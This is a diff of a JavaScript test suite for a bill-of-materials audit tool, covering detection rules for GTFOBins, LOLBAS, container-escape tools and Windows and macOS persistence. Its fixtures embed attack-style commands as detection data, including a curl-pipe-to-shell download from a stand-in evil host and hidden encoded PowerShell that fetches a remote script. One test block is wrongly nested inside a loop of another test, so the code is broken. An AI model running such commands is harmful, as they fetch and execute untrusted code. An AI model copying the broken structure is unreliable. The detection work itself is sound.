+  it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-004");
+    assert.ok(rule, "OBOM-LNX-004 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "analyst",
+        version: "",
+        description: "curl http://evil.example/p.sh | sh",
+        purl: "pkg:swid/analyst-shell-history",
+        "bom-ref": "pkg:swid/analyst-shell-history",
+        properties: [
+          { name: "cdx:osquery:category", value: "shell_history_snapshot" },
+          { name: "history_file", value: "/home/analyst/.bash_history" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect suspicious shell history");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-005");
+    assert.ok(rule, "OBOM-LNX-005 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("dockerd", "2375", [
+        ["cdx:osquery:category", "listening_ports"],
+        ["address", "0.0.0.0"],
+        ["port", "2375"],
+        ["protocol", "6"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-001");
+    assert.ok(rule, "CTR-001 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "bash",
+        version: "",
         description: "",
-        purl: "pkg:swid/cockpit-ws@9090",
-        "bom-ref": "pkg:swid/cockpit-ws@9090",
+        purl: "pkg:generic/bash",
+        "bom-ref": "pkg:generic/bash",
         properties: [
-          { name: "cdx:osquery:category", value: "privileged_listening_ports" },
-          { name: "account", value: "root" },
-          { name: "address", value: "0.0.0.0" },
-          { name: "port", value: "9090" },
-          { name: "path", value: "/usr/libexec/cockpit-ws" },
-          { name: "service_unit", value: "cockpit.socket" },
-          { name: "package_source_hint", value: "system-package-path" },
+          { name: "SrcFile", value: "/bin/bash" },
+          { name: "internal:has_setuid", value: "true" },
+          { name: "cdx:gtfobins:matched", value: "true" },
+          { name: "cdx:gtfobins:name", value: "bash" },
+          { name: "cdx:gtfobins:functions", value: "shell,command,upload" },
+          { name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
+          {
+            name: "cdx:gtfobins:riskTags",
+            value: "data-exfiltration,lateral-movement,privilege-escalation",
+          },
+          {
+            name: "cdx:gtfobins:reference",
+            value: "https://gtfobins.github.io/gtfobins/bash/",
+          },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect privileged listener risk");
+    assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect privileged container-escape helper (CTR-002)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-002");
+    assert.ok(rule, "CTR-002 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "docker",
+        version: "",
+        description: "",
+        purl: "pkg:generic/docker",
+        "bom-ref": "pkg:generic/docker",
+        properties: [
+          { name: "SrcFile", value: "/usr/bin/docker" },
+          { name: "cdx:gtfobins:matched", value: "true" },
+          { name: "cdx:gtfobins:name", value: "docker" },
+          { name: "cdx:gtfobins:functions", value: "shell,command" },
+          {
+            name: "cdx:gtfobins:privilegedContexts",
+            value: "capabilities",
+          },
+          { name: "cdx:gtfobins:riskTags", value: "container-escape" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect privileged escape helper");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-004");
+    assert.ok(rule, "CTR-004 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "bash",
+        version: "",
+        description: "",
+        purl: "pkg:generic/bash",
+        "bom-ref": "pkg:generic/bash",
+        properties: [
+          { name: "SrcFile", value: "/usr/bin/bash" },
+          { name: "internal:has_setgid", value: "true" },
+          { name: "cdx:gtfobins:matched", value: "true" },
+          { name: "cdx:gtfobins:name", value: "bash" },
+          { name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
+          { name: "cdx:gtfobins:privilegedContexts", value: "suid" },
+          {
+            name: "cdx:gtfobins:riskTags",
+            value: "data-exfiltration,privilege-escalation",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect privileged GTFOBins exfiltration helper",
+    );
     assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
+  it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-008");
-    assert.ok(rule, "OBOM-LNX-008 rule should exist");
+    const rule = rules.find((r) => r.id === "CTR-003");
+    assert.ok(rule, "CTR-003 rule should exist");
 
     const bom = makeBom([
       {
-        type: "application",
-        name: "sudo",
-        version: "4242",
+        type: "file",
+        name: "bash",
+        version: "",
         description: "",
-        purl: "pkg:swid/sudo@4242",
-        "bom-ref": "pkg:swid/sudo@4242",
+        purl: "pkg:generic/bash",
+        "bom-ref": "pkg:generic/bash",
         properties: [
-          { name: "cdx:osquery:category", value: "sudo_executions" },
-          { name: "auid", value: "1000" },
-          { name: "euid", value: "0" },
-          { name: "login_user", value: "analyst" },
-          { name: "effective_user", value: "root" },
-          { name: "path", value: "/usr/bin/sudo" },
+          { name: "SrcFile", value: "/bin/bash" },
+          { name: "cdx:gtfobins:matched", value: "true" },
+          { name: "cdx:gtfobins:name", value: "bash" },
           {
-            name: "cmdline",
-            value: "sudo pkcon refresh force",
+            name: "cdx:gtfobins:functions",
+            value: "shell,library-load,privilege-escalation",
+          },
+          {
+            name: "cdx:gtfobins:privilegedContexts",
+            value: "sudo,suid",
           },
-          { name: "parent_cmdline", value: "/bin/bash" },
-          { name: "time", value: "1714212000" },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
     assert.ok(
-      findings.length > 0,
-      "Should detect interactive privileged package tooling",
+      findings.length > 0,
+      "Should detect privileged GTFOBins library-load helper",
+    );
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-005");
+    assert.ok(rule, "CTR-005 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "bash",
+        version: "",
+        description: "",
+        purl: "pkg:generic/bash",
+        "bom-ref": "pkg:generic/bash",
+        properties: [
+          { name: "SrcFile", value: "/usr/local/bin/bash" },
+          { name: "cdx:gtfobins:matched", value: "true" },
+          { name: "cdx:gtfobins:name", value: "bash" },
+          { name: "cdx:gtfobins:functions", value: "shell,upload,download" },
+          {
+            name: "cdx:gtfobins:riskTags",
+            value: "data-exfiltration,lateral-movement",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect mutable-path GTFOBins helper",
+    );
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+
+  it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-006");
+    assert.ok(rule, "CTR-006 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "deepce",
+        version: "",
+        description: "",
+        purl: "pkg:generic/deepce",
+        "bom-ref": "pkg:generic/deepce",
+        properties: [
+          { name: "SrcFile", value: "/usr/local/bin/deepce" },
+          { name: "cdx:container:matched", value: "true" },
+          { name: "cdx:container:name", value: "deepce" },
+          { name: "cdx:container:offenseTools", value: "deepce" },
+          {
+            name: "cdx:container:riskTags",
+            value: "container-escape,credential-access,offensive-toolkit",
+          },
+          {
+            name: "cdx:container:attackTechniques",
+            value: "T1552.007,T1611,T1613",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "CTR-007");
+    assert.ok(rule, "CTR-007 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "nsenter",
+        version: "",
+        description: "",
+        purl: "pkg:generic/nsenter",
+        "bom-ref": "pkg:generic/nsenter",
+        properties: [
+          { name: "SrcFile", value: "/usr/bin/nsenter" },
+          { name: "cdx:container:matched", value: "true" },
+          { name: "cdx:container:name", value: "nsenter" },
+          { name: "cdx:container:offenseTools", value: "cdk,deepce" },
+          {
+            name: "cdx:container:riskTags",
+            value: "container-escape,namespace-escape",
+          },
+          {
+            name: "cdx:container:seccompBlockedSyscalls",
+            value: "ptrace,setns,unshare",
+          },
+          { name: "cdx:container:seccompProfile", value: "docker-default" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect seccomp-sensitive escape helper",
+    );
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+
+  it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-006");
+    assert.ok(rule, "OBOM-LNX-006 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "application",
+        name: "cockpit-ws",
+        version: "9090",
+        description: "",
+        purl: "pkg:swid/cockpit-ws@9090",
+        "bom-ref": "pkg:swid/cockpit-ws@9090",
+        properties: [
+          { name: "cdx:osquery:category", value: "privileged_listening_ports" },
+          { name: "account", value: "root" },
+          { name: "address", value: "0.0.0.0" },
+          { name: "port", value: "9090" },
+          { name: "path", value: "/usr/libexec/cockpit-ws" },
+          { name: "service_unit", value: "cockpit.socket" },
+          { name: "package_source_hint", value: "system-package-path" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect privileged listener risk");
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+
+  it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-008");
+    assert.ok(rule, "OBOM-LNX-008 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "application",
+        name: "sudo",
+        version: "4242",
+        description: "",
+        purl: "pkg:swid/sudo@4242",
+        "bom-ref": "pkg:swid/sudo@4242",
+        properties: [
+          { name: "cdx:osquery:category", value: "sudo_executions" },
+          { name: "auid", value: "1000" },
+          { name: "euid", value: "0" },
+          { name: "login_user", value: "analyst" },
+          { name: "effective_user", value: "root" },
+          { name: "path", value: "/usr/bin/sudo" },
+          {
+            name: "cmdline",
+            value: "sudo pkcon refresh force",
+          },
+          { name: "parent_cmdline", value: "/bin/bash" },
+          { name: "time", value: "1714212000" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect interactive privileged package tooling",
+    );
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-009");
+    assert.ok(rule, "OBOM-LNX-009 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "application",
+        name: "packagekit-helper",
+        version: "2121",
+        description: "",
+        purl: "pkg:swid/packagekit-helper@2121",
+        "bom-ref": "pkg:swid/packagekit-helper@2121",
+        properties: [
+          { name: "cdx:osquery:category", value: "privilege_transitions" },
+          { name: "auid", value: "1000" },
+          { name: "uid", value: "1000" },
+          { name: "euid", value: "0" },
+          { name: "gid", value: "1000" },
+          { name: "egid", value: "0" },
+          { name: "login_user", value: "analyst" },
+          { name: "path", value: "/usr/libexec/packagekit-direct" },
+          {
+            name: "cmdline",
+            value: "/usr/libexec/packagekit-direct --repair",
+          },
+          { name: "parent_cmdline", value: "/bin/bash" },
+          { name: "package_source_hint", value: "unclassified-path" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect unexpected privilege transition",
+    );
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-004");
+    assert.ok(rule, "OBOM-WIN-004 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "WindowsUpdateTask",
+        version: "",
+        description: "",
+        purl: "pkg:swid/windows-task",
+        "bom-ref": "pkg:swid/windows-task",
+        properties: [
+          { name: "cdx:osquery:category", value: "scheduled_tasks" },
+          { name: "enabled", value: "1" },
+          { name: "hidden", value: "1" },
+          { name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
+          {
+            name: "action",
+            value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect suspicious hidden task");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-005");
+    assert.ok(rule, "OBOM-WIN-005 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "EvilAutoStartService",
+        version: "",
+        description: "",
+        purl: "pkg:swid/windows-service-evil",
+        "bom-ref": "pkg:swid/windows-service-evil",
+        properties: [
+          { name: "cdx:osquery:category", value: "services_snapshot" },
+          { name: "start_type", value: "AUTO_START" },
+          {
+            name: "path",
+            value:
+              "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect auto-start service risk");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-006");
+    assert.ok(rule, "OBOM-WIN-006 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+        version: "",
+        description: "powershell.exe -nop -w hidden -enc AAAA",
+        purl: "pkg:swid/windows-run-key-lolbas",
+        "bom-ref": "pkg:swid/windows-run-key-lolbas",
+        properties: [
+          { name: "cdx:osquery:category", value: "windows_run_keys" },
+          { name: "cdx:lolbas:matched", value: "true" },
+          { name: "cdx:lolbas:names", value: "powershell.exe" },
+          {
+            name: "cdx:lolbas:functions",
+            value: "command,download,script-execution,shell,upload",
+          },
+          { name: "cdx:lolbas:matchFields", value: "description" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should flag scheduled tasks that invoke LOLBAS helpers even when they live under managed Windows namespaces (OBOM-WIN-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-006");
+    assert.ok(rule, "OBOM-WIN-006 rule should exist");
+    const row = {
+      action:
+        "%windir%\\system32\\rundll32.exe Windows.Storage.ApplicationData.dll,CleanupTemporaryState",
+      enabled: "0",
+      hidden: "0",
+      path: "\\Microsoft\\Windows\\applicationdata\\CleanupTemporaryState",
+    };
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "CleanupTemporaryState",
+        version: "",
+        description: "",
+        "bom-ref": "osquery:scheduled_tasks:data:CleanupTemporaryState@unknown",
+        properties: [
+          { name: "cdx:osquery:category", value: "scheduled_tasks" },
+          ...createLolbasProperties("scheduled_tasks", row),
+          { name: "path", value: row.path },
+          { name: "action", value: row.action },
+          { name: "enabled", value: row.enabled },
+          { name: "hidden", value: row.hidden },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 1);
+    assert.match(findings[0].message, /CleanupTemporaryState|rundll32\.exe/);
+  });
+
+  it("should ignore Windows services whose descriptions merely mention PowerShell or cmd tooling (OBOM-WIN-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-006");
+    assert.ok(rule, "OBOM-WIN-006 rule should exist");
+    const row = {
+      description:
+        "Windows Remote Management can be configured with winrm.cmd and queried from PowerShell.",
+      display_name: "Windows Remote Management",
+      module_path: "C:\\Windows\\System32\\WsmSvc.dll",
+      path: "C:\\Windows\\System32\\svchost.exe -k NetworkService -p",
+    };
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "WinRM",
+        version: "4012",
+        description: row.description,
+        "bom-ref": "osquery:services_snapshot:data:WinRM@4012",
+        properties: [
+          { name: "cdx:osquery:category", value: "services_snapshot" },
+          ...createLolbasProperties("services_snapshot", row),
+          { name: "path", value: row.path },
+          { name: "module_path", value: row.module_path },
+          { name: "start_type", value: "AUTO_START" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should keep suspicious Windows services that launch LOLBAS from user-controlled paths (OBOM-WIN-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-006");
+    assert.ok(rule, "OBOM-WIN-006 rule should exist");
+    const row = {
+      path: "C:\\Users\\Public\\evil\\powershell.exe -enc AAAA",
+    };
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "EvilService",
+        version: "1234",
+        description: "",
+        "bom-ref": "osquery:services_snapshot:data:EvilService@1234",
+        properties: [
+          { name: "cdx:osquery:category", value: "services_snapshot" },
+          ...createLolbasProperties("services_snapshot", row),
+          { name: "path", value: row.path },
+          { name: "start_type", value: "AUTO_START" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 1);
+    assert.match(findings[0].message, /EvilService|powershell\.exe/);
+  });
+
+  it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-007");
+    assert.ok(rule, "OBOM-WIN-007 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "CommandLineEventConsumerBad",
+        version: "",
+        description: "",
+        purl: "pkg:swid/windows-wmi-lolbas",
+        "bom-ref": "pkg:swid/windows-wmi-lolbas",
+        properties: [
+          { name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
+          { name: "cdx:lolbas:matched", value: "true" },
+          { name: "cdx:lolbas:names", value: "regsvr32.exe" },
+          {
+            name: "cdx:lolbas:functions",
+            value: "library-load,proxy-execution,script-execution",
+          },
+          {
+            name: "command_line_template",
+            value: "regsvr32.exe /s scrobj.dll",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-008");
+    assert.ok(rule, "OBOM-WIN-008 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "SuspiciousPowerShell",
+        version: "",
+        description: "",
+        purl: "pkg:swid/windows-process-lolbas",
+        "bom-ref": "pkg:swid/windows-process-lolbas",
+        properties: [
+          { name: "cdx:osquery:category", value: "processes" },
+          { name: "cdx:lolbas:matched", value: "true" },
+          { name: "cdx:lolbas:names", value: "powershell.exe" },
+          {
+            name: "cdx:lolbas:functions",
+            value: "command,download,script-execution,shell,upload",
+          },
+          {
+            name: "cmdline",
+            value:
+              "powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-009");
+    assert.ok(rule, "OBOM-WIN-009 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "application",
+        name: "powershell.exe",
+        version: "9001",
+        description: "",
+        purl: "pkg:swid/powershell.exe@9001",
+        "bom-ref": "pkg:swid/powershell.exe@9001",
+        properties: [
+          { name: "cdx:osquery:category", value: "listening_ports" },
+          { name: "cdx:lolbas:matched", value: "true" },
+          { name: "cdx:lolbas:names", value: "powershell.exe" },
+          {
+            name: "cdx:lolbas:functions",
+            value: "command,download,script-execution,shell,upload",
+          },
+          { name: "address", value: "0.0.0.0" },
+          { name: "port", value: "9001" },
+          {
+            name: "cmdline",
+            value: "powershell.exe -nop -w hidden -enc AAAA",
+          },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-010");
+    assert.ok(rule, "OBOM-WIN-010 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "BadTask",
+        version: "",
+        description: "",
+        purl: "pkg:swid/windows-task-uac-lolbas",
+        "bom-ref": "pkg:swid/windows-task-uac-lolbas",
+        properties: [
+          { name: "cdx:osquery:category", value: "scheduled_tasks" },
+          { name: "cdx:lolbas:matched", value: "true" },
+          { name: "cdx:lolbas:names", value: "cmstp.exe" },
+          { name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
+          { name: "action", value: "cmstp.exe /s payload.inf" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
+    assert.strictEqual(findings[0].severity, "critical");
+  });
+
+  it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-MAC-004");
+    assert.ok(rule, "OBOM-MAC-004 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "com.apple.some-security-service",
+        version: "",
+        description: "",
+        purl: "pkg:swid/launchd-override",
+        "bom-ref": "pkg:swid/launchd-override",
+        properties: [
+          { name: "cdx:osquery:category", value: "launchd_overrides" },
+          { name: "label", value: "com.apple.some-security-service" },
+          { name: "key", value: "Disabled" },
+          { name: "value", value: "1" },
+          { name: "uid", value: "0" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect disabled Apple launchd label",
+    );
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+});
+
+describe("evaluateRules", () => {
+  it("should sort findings by severity (high before medium before low)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const bom = makeBom([
+      makeComponent("actions/checkout", "v3", [
+        ["cdx:github:action:isShaPinned", "false"],
+        ["cdx:github:workflow:hasWritePermissions", "true"],
+        ["cdx:github:action:uses", "actions/checkout@v3"],
+        ["cdx:github:action:versionPinningType", "tag"],
+      ]),
+      makeComponent("deprecated-go-mod", "1.0.0", [
+        ["cdx:go:deprecated", "use other-module instead"],
+      ]),
+    ]);
+
+    const findings = await evaluateRules(rules, bom);
+    if (findings.length >= 2) {
+      const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
+      for (let i = 1; i < findings.length; i++) {
+        it("should detect weakened macOS Gatekeeper posture (OBOM-MAC-005)", async () => {
+          const rules = await loadRules(RULES_DIR);
+          const rule = rules.find((r) => r.id === "OBOM-MAC-005");
+          assert.ok(rule, "OBOM-MAC-005 rule should exist");
+
+          const bom = makeBom([
+            {
+              type: "data",
+              name: "gatekeeper",
+              version: "",
+              description: "94",
+              purl: "pkg:swid/gatekeeper",
+              "bom-ref": "pkg:swid/gatekeeper",
+              properties: [
+                { name: "cdx:osquery:category", value: "gatekeeper" },
+                { name: "assessments_enabled", value: "0" },
+                { name: "dev_id_enabled", value: "1" },
+              ],
+            },
+          ]);
+
+          const findings = await evaluateRule(rule, bom);
+          assert.ok(findings.length > 0, "Should detect weakened Gatekeeper");
+          assert.strictEqual(findings[0].severity, "high");
+        });
+        const prev = severityOrder[findings[i - 1].severity] ?? 4;
+        const curr = severityOrder[findings[i].severity] ?? 4;
+        assert.ok(
+          prev <= curr,
+          `Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
+        );
+      }
+    }
+  });
+});
+
+describe("auditBom", () => {
+  it("should run audit and return findings", async () => {
+    const bom = makeBom([
+      makeComponent("actions/setup-node", "v3", [
+        ["cdx:github:action:isShaPinned", "false"],
+        ["cdx:github:workflow:hasWritePermissions", "true"],
+        ["cdx:github:action:uses", "actions/setup-node@v3"],
+        ["cdx:github:action:versionPinningType", "tag"],
+      ]),
+    ]);
+
+    const findings = await auditBom(bom, {});
+    assert.ok(findings.length > 0, "Should find at least one issue");
+  });
+
+  it("should return empty array for null bom", async () => {
+    const findings = await auditBom(null, {});
+    assert.deepStrictEqual(findings, []);
+  });
+
+  it("should filter by category", async () => {
+    const bom = makeBom([
+      makeComponent("actions/setup-node", "v3", [
+        ["cdx:github:action:isShaPinned", "false"],
+        ["cdx:github:workflow:hasWritePermissions", "true"],
+        ["cdx:github:action:uses", "actions/setup-node@v3"],
+        ["cdx:github:action:versionPinningType", "tag"],
+      ]),
+      makeComponent("sketchy-pkg", "1.0.0", [
+        ["cdx:npm:hasInstallScript", "true"],
+        ["cdx:npm:isRegistryDependency", "false"],
+      ]),
+    ]);
+
+    const ciOnly = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    for (const f of ciOnly) {
+      assert.strictEqual(f.category, "ci-permission");
+    }
+  });
+
+  it("expands the ai-inventory category alias", async () => {
+    const bom = makeBom(
+      [],
+      [],
+      [
+        {
+          type: "application",
+          name: "agent-guide",
+          version: "latest",
+          "bom-ref": "file:/repo/AGENTS.md",
+          properties: [
+            { name: "SrcFile", value: "/repo/AGENTS.md" },
+            { name: "cdx:agent:inventorySource", value: "agent-file" },
+            { name: "cdx:file:kind", value: "agent-instructions" },
+            {
+              name: "cdx:agent:hasNonOfficialMcpReference",
+              value: "true",
+            },
+            { name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
+          ],
+        },
+      ],
+      [
+        {
+          "bom-ref": "urn:service:mcp:demo:1",
+          group: "mcp",
+          name: "demo-server",
+          authenticated: false,
+          endpoints: ["https://mcp.example.com/mcp"],
+          properties: [
+            { name: "cdx:mcp:transport", value: "streamable-http" },
+            { name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
+            { name: "cdx:mcp:inventorySource", value: "agent-file" },
+            { name: "cdx:mcp:toolCount", value: "1" },
+            { name: "cdx:mcp:officialSdk", value: "false" },
+          ],
+        },
+      ],
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ai-inventory",
+    });
+    assert.ok(findings.some((finding) => finding.category === "ai-agent"));
+    assert.ok(findings.some((finding) => finding.category === "mcp-server"));
+  });
+
+  it("rejects unknown audit categories with valid choices", async () => {
+    await assert.rejects(
+      auditBom(makeBom([]), {
+        bomAuditCategories: "unknown-category",
+      }),
+      /Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
+    );
+  });
+
+  it("should filter by minimum severity", async () => {
+    const bom = makeBom([
+      makeComponent("actions/setup-node", "v3", [
+        ["cdx:github:action:isShaPinned", "false"],
+        ["cdx:github:workflow:hasWritePermissions", "true"],
+        ["cdx:github:action:uses", "actions/setup-node@v3"],
+        ["cdx:github:action:versionPinningType", "tag"],
+      ]),
+    ]);
+
+    const highOnly = await auditBom(bom, {
+      bomAuditMinSeverity: "high",
+    });
+    for (const f of highOnly) {
+      assert.strictEqual(f.severity, "high");
+    }
+  });
+
+  it("reports active dry-run support counts for package-integrity rules", async () => {
+    const summary = await getBomAuditDryRunSupportSummary({
+      bomAuditCategories: "package-integrity",
+    });
+    assert.deepStrictEqual(summary, {
+      fullCount: 10,
+      noCount: 3,
+      partialCount: 1,
+      totalRules: 14,
+    });
+    assert.match(
+      formatDryRunSupportSummary(summary),
